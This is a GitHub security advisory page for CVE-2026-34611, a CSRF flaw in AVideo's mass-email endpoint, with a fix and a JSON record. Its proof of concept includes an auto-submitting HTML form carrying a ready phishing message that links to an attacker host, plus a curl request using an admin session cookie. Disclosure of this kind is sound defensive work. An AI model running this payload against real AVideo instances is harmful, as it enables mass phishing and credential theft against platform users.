GHSA-C4XJ-X7P8-3X7Q
Vulnerability from github – Published: 2026-04-01 20:48 – Updated: 2026-04-01 20:48Summary
The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.
The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.
Details
The endpoint performs an admin check at line 10 but has no CSRF token validation:
// objects/emailAllUsers.json.php:10
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
The message body is taken directly from POST data at line 41:
// objects/emailAllUsers.json.php:41
$obj->message = $_POST['message'];
The message is rendered as HTML in the email at line 48:
// objects/emailAllUsers.json.php:48
$mail->msgHTML($obj->message);
When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.
The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.
Proof of Concept
Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-038 PoC - CSRF Mass Email</title></head>
<body>
<h1>Please wait...</h1>
<form id="massmail" method="POST"
action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">
<input type="hidden" name="subject" value="Important: Verify Your Account" />
<textarea name="message" style="display:none">
<h2>Account Verification Required</h2>
<p>Your account requires re-verification due to a recent security update.</p>
<p>Please <a href="https://attacker.example.com/phish">click here to verify</a>
within 24 hours to avoid account suspension.</p>
<p>Thank you,<br/>The Platform Team</p>
</textarea>
<!-- Omitting 'email' parameter causes it to send to ALL users -->
</form>
<script>document.getElementById('massmail').submit();</script>
</body>
</html>
Verification steps:
- Set up a test AVideo instance with at least two registered user accounts.
- Log in as an admin in one browser tab.
- Open the attacker HTML page in another tab in the same browser.
- Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.
Alternatively, test with curl using an admin session cookie:
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \
-d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"
Impact
An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:
- Mass phishing campaigns targeting all platform users with highly credible emails
- Credential harvesting by directing users to attacker-controlled login pages
- Malware distribution via HTML email payloads
- Reputation damage to the platform operator
The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:
// objects/emailAllUsers.json.php:13
if (!isGlobalTokenValid()) {
forbiddenPage('Invalid CSRF token');
exit;
}
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34611"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T20:48:53Z",
"nvd_published_at": "2026-03-31T21:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AVideo endpoint `objects/emailAllUsers.json.php` allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets `SameSite=None` on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin\u0027s session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance\u0027s legitimate SMTP address.\n\nThe endpoint does not call `save()` on any ORM object, which means the Referer/Origin domain validation implemented in `ObjectYPT::save()` is never triggered, leaving CSRF as the only required protection - and it is absent.\n\n## Details\n\nThe endpoint performs an admin check at line 10 but has no CSRF token validation:\n\n```php\n// objects/emailAllUsers.json.php:10\nif (!User::isAdmin()) {\n die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n```\n\nThe message body is taken directly from POST data at line 41:\n\n```php\n// objects/emailAllUsers.json.php:41\n$obj-\u003emessage = $_POST[\u0027message\u0027];\n```\n\nThe message is rendered as HTML in the email at line 48:\n\n```php\n// objects/emailAllUsers.json.php:48\n$mail-\u003emsgHTML($obj-\u003emessage);\n```\n\nWhen the `email` POST parameter is omitted, the endpoint defaults to sending to all registered users by calling `User::getAllUsers()`. This means the attacker does not need to know any email addresses.\n\nThe emails are sent through the platform\u0027s configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-038 PoC - CSRF Mass Email\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003ePlease wait...\u003c/h1\u003e\n\u003cform id=\"massmail\" method=\"POST\"\n action=\"https://your-avideo-instance.com/objects/emailAllUsers.json.php\"\u003e\n\n \u003cinput type=\"hidden\" name=\"subject\" value=\"Important: Verify Your Account\" /\u003e\n\n \u003ctextarea name=\"message\" style=\"display:none\"\u003e\n \u003ch2\u003eAccount Verification Required\u003c/h2\u003e\n \u003cp\u003eYour account requires re-verification due to a recent security update.\u003c/p\u003e\n \u003cp\u003ePlease \u003ca href=\"https://attacker.example.com/phish\"\u003eclick here to verify\u003c/a\u003e\n within 24 hours to avoid account suspension.\u003c/p\u003e\n \u003cp\u003eThank you,\u003cbr/\u003eThe Platform Team\u003c/p\u003e\n \u003c/textarea\u003e\n\n \u003c!-- Omitting \u0027email\u0027 parameter causes it to send to ALL users --\u003e\n\u003c/form\u003e\n\n\u003cscript\u003edocument.getElementById(\u0027massmail\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Verification steps:**\n\n1. Set up a test AVideo instance with at least two registered user accounts.\n2. Log in as an admin in one browser tab.\n3. Open the attacker HTML page in another tab in the same browser.\n4. Check the email inboxes of all registered users. Each will have received the phishing email from the platform\u0027s legitimate SMTP address.\n\nAlternatively, test with curl using an admin session cookie:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/objects/emailAllUsers.json.php\" \\\n -d \"subject=Test\u0026message=\u003ch1\u003ePoC\u003c/h1\u003e\u003cp\u003eThis email was sent to all users.\u003c/p\u003e\"\n```\n\n## Impact\n\nAn attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin\u0027s session via CSRF. The emails originate from the platform\u0027s legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:\n\n- Mass phishing campaigns targeting all platform users with highly credible emails\n- Credential harvesting by directing users to attacker-controlled login pages\n- Malware distribution via HTML email payloads\n- Reputation damage to the platform operator\n\nThe attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/emailAllUsers.json.php:13`, after the admin check:\n\n```php\n// objects/emailAllUsers.json.php:13\nif (!isGlobalTokenValid()) {\n forbiddenPage(\u0027Invalid CSRF token\u0027);\n exit;\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-c4xj-x7p8-3x7q",
"modified": "2026-04-01T20:48:53Z",
"published": "2026-04-01T20:48:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-c4xj-x7p8-3x7q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34611"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/226ad24a51edac57e079ac92ca95c82e1e23e3cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: CSRF on emailAllUsers.json.php Enables Mass Phishing Email to All Users"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.